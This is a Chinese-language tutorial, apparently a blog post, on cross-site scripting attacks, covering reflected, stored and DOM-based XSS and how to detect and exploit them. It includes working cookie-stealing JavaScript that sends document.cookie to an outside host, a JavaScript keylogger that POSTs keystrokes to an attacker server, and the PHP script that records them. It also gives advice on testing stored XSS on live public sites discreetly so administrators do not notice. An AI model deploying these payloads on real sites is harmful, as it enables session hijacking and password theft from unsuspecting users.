简单来说XSS攻击就是跨站脚本攻击,完整的英文名称是cross-site scripting,不过css已经在使用了,所以简称为XSS。
一个web项目简单来描述结构大概是这样的:
简易web项目结构图
漏洞的根源其实还是在web服务器上,只是我们攻击的目标是客户端。我们借助在web服务器上的漏洞,将我们的恶意代码注入到web服务器,让用户请求web服务器的时候浏览器执行这段代码,以达到我们的目的。
这恶意的代码通常是js代码,但实际上也可以是java、vbs、ActiveX、Flash或者是普通的HTML。浏览器一般情况是不会判断的,只要是符合解析,那么就会执行所有代码。
这里不对各种语言(js、java、vbs)进行展开介绍,你如果感兴趣可以找点基础教程看一下,不感兴趣就随便看看吧,真的要进行XSS攻击了,其实网上也有很多现成的恶意代码可以使用。
XSS攻击能做到的效果其实挺多的,大概归纳一下:
现在公网上其实也会有XSS攻击的情况,重灾区主要是一些小众论坛的评论区、留言区、个人信息、订单信息等,比较容易被针对的功能是站内信、网页即时通讯、私信、意见反馈,比较容易存在隐患的地方是搜索框、当前目录、图片属性等。
具体使用场景可以归纳成这些:
一次完整的XSS攻击,正常情况下都有以下几个角色:
前面说过,XSS漏洞是存在服务器端的,只要满足以下三点就算是产生了XSS漏洞:
XSS漏洞可以分成三大类:存储型(持久型)、反射型(非持久型)、DOM型。
反射型XSS其实是有比较明显特点的,通过一些方法可以检测出来。比较简单的方法是提交一段恶意代码,看是不是直接被执行,比如这段:
如果提交后被执行了,就说明存在反射型XSS漏洞。
恶意代码被执行
这种用来检测漏洞的代码片段有很多,以下任意一段都可以用来检测:
# 用于检测是否存在漏洞
type
# 手机客户端信息
# 用于盗取当前站点的cookie信息
# 用于篡改网页信息
真实盗取cookie肯定不会直接在链接中写明document.cookie这样的内容。而且也不会传入太长的恶意代码,我们会让浏览器从第三方机器处获取完整的代码进行执行,以达到我们的目的。
通过以下代码,让客户端去获取完整的恶意代码:
在第三方站点准备恶意代码,如果是要获取客户端的cookie的话,可以这样:
var img = new Image();
img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
然后在第三方站点中恶意代码的目标机器处,开启监听。这样当完整的恶意代码被执行时,我们就能获取客户端的cookie信息了。
接下来演示实际操作。第一步在第三方站点准备代码,让客户端来访问:
开启apache服务,让客户端能够访问到准备的恶意代码:
service apache2 start
开启监听:
监听88端口
在漏洞位置执行恶意代码:
利用XSS漏洞
获取到的cookie信息:
获取到的信息
反射型XSS还比较容易造成键盘记录器这一类危害,从字面意思就可以知道就是记录你的键盘输出内容,当键盘记录器被触发后,你在当前页面通过键盘输出的内容都会被记录下来。如果是在登录页面有反射型XSS,刚好被利用触发了键盘记录器,那账号密码就很容易被盗取了。
先准备一个实现键盘记录的代码:
实现键盘记录的代码
document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST", "http://192.168.218.128/keylogger.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send("key="+param);
}
}
键盘记录的内容是要传给keylogger.php的,所以要提前准备好keylogger.php:
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp=fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
准备的keylogger.php
最后还需要将用于记录键盘内容的文档keylog.txt创建好,并将赋予读写权限:
准备的keylog.txt
别忘了将apache服务启动。之后到客户端触发键盘记录器:
触发键盘记录器
随便敲击一些键盘按键,到keylog.txt查看是否被记录下来:
被记录的键盘输出内容
这里来介绍存储型的XSS的检测。和反射型XSS检测是一样的,都是通过输入一些前端的代码,看会不会被执行,例如这样:
存储型XSS检测
如果存在存储型SXX就会有输入代码对应的效果:
输入代码被执行
而且每次进入这个页面都会执行这段代码,能看到对应的效果。
所以在互联网上测试存储型XSS的时候,别使用效果太明显的,因为你的测试数据是存到数据库里的,如果你没能力删除测试数据的话,很多用户就能感知到你的测试代码。如果你使用alert这种弹窗,管理员很难不感知到有人在试图渗透进来。
还有前面提过很多遍,XSS漏洞的根源其实是在服务端的,而前端可能会做一些校验限制你前期对于XSS漏洞的检测。这个时候你可以尝试直接针对接口进行XSS漏洞的检测,绕开前端的校验限制。比如前端限制了输入框的字符长度,但是后端接口没做限制,你就可以直接通过接口将代码传给后端服务器。
当前你要是对前端的代码比较熟,也可以直接在页面上修改输入限制,效果也是一样的。
存储型XSS盗取cookie也是差不多的方式,准备好第三方机器和对应的代码:
第三方机器中准备的代码
在第三方服务器中启动apache服务。
然后到目标客户端中执行攻击代码:
获取cookie
只要有用户进入有恶意代码的页面,就会向目标机器发送cookie。
DOM型XSS的检测和反射型XSS基本一致,就是使用的语法有点不同,需要通过调用HTML的标准接口实现。漏洞利用方式和反射型差不多,但是使用的代码不太一样,例如盗取cookie的代码可以这样写:
XSS是历史悠久的web项目中的漏洞,随着开发人员的安全意识增加,技术的进步,对于XSS的防护也越来越全面,但是总会有一些漏网之鱼。在XSS的探测过程中不要轻易判定结果,要做充分的测试,可以借助一些检测工具。
留言与评论(共有 0 条评论) “” |